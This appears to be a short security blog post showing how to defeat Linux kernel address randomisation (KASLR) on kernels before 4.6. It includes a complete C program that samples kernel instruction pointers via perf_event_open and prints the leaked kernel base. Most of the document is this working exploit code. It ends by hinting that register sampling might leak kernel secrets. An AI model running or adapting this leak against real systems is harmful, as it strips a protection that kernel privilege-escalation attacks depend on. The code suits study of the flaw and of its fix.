Breaking KASLR with perf
Before Linux 4.6, the default value of
/proc/sys/kernel/perf_event_paranoid was 1, and so any Linux process
could sample kernel addresses with perf_event_open's
PERF_SAMPLE_IP. So you can break KASLR by sampling the addresses and
taking the mininum.
/* -*- compile-command: "gcc -Wall perf_rip_find.c -o perf_rip_find" -*- */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
#include <asm/perf_regs.h>
#include <sys/utsname.h>
#include <signal.h>
#define PAGE_SIZE 4096
#define DATA_SIZE PAGE_SIZE
#define MMAP_SIZE (PAGE_SIZE + DATA_SIZE)
#define MASK 0xffffff
int perf_event_open(struct perf_event_attr *attr,
pid_t pid,
int cpu,
int group_fd,
unsigned long flags)
{
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}
int main (int argc, char **argv)
{
int return_code = 0;
int read_fd = -1;
int fd = -1;
pid_t child = 0;
switch ((child = fork())) {
case -1:
fprintf(stderr, "fork failed: %m\n");
goto error;
case 0:;
struct utsname self = {0};
while (1) uname(&self);
goto cleanup;
default:
break;
}
if ((fd = perf_event_open(
& (struct perf_event_attr) {
.type = PERF_TYPE_SOFTWARE,
.config = PERF_COUNT_SW_TASK_CLOCK,
.size = sizeof(struct perf_event_attr),
.disabled = 1,
.exclude_user = 1,
.exclude_hv = 1,
.sample_type = PERF_SAMPLE_IP,
.sample_period = 10,
.precise_ip = 1,
}, child, -1, -1, 0)) < 0) {
fprintf(stderr, "perf_event_open failed!\n");
goto error;
}
struct perf_event_mmap_page *meta_page = NULL;
if ((meta_page = mmap(NULL,
MMAP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd, 0)) == MAP_FAILED) {
fprintf(stderr, "mmap failed: %m\n");
goto error;
}
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
fprintf(stderr, "ioctl failed: %m\n");
goto error;
}
char *data_page = ((char *) meta_page) + PAGE_SIZE;
size_t progress = 0;
uint64_t last_head = 0;
size_t num_samples = 0;
uint64_t min = ~0;
while (num_samples < 100) {
/* is reading from the meta_page racy? no idea */
while (meta_page->data_head == last_head);;
last_head = meta_page->data_head;
while (progress < last_head) {
struct __attribute__((packed)) sample {
struct perf_event_header header;
uint64_t ip;
} *here = (struct sample *) (data_page + progress % DATA_SIZE);
switch (here->header.type) {
case PERF_RECORD_SAMPLE:
num_samples++;
if (here->header.size < sizeof(*here)) {
fprintf(stderr, "size too small.\n");
goto error;
}
uint64_t prefix = here->ip & ~MASK;
if (prefix < min) min = prefix;
break;
case PERF_RECORD_THROTTLE:
case PERF_RECORD_UNTHROTTLE:
case PERF_RECORD_LOST:
break;
default:
fprintf(stderr,
"unexpected event: %x\n",
here->header.type);
goto error;
}
progress += here->header.size;
}
/* tell the kernel we read it. */
meta_page->data_tail = last_head;
}
fprintf(stderr, "%016lx\n", min);
goto cleanup;
error:
return_code = 1;
cleanup:
if (child) kill(child, SIGKILL);
if (read_fd > 0) close(read_fd);
if (fd > 0) close(fd);
return return_code;
}
You can also sample registers (PERF_SAMPLE_REGS_INTR) , which
worries me, but I couldn't convince it to leak the network secret or
the urandom seed. Probably possible, though. Good luck!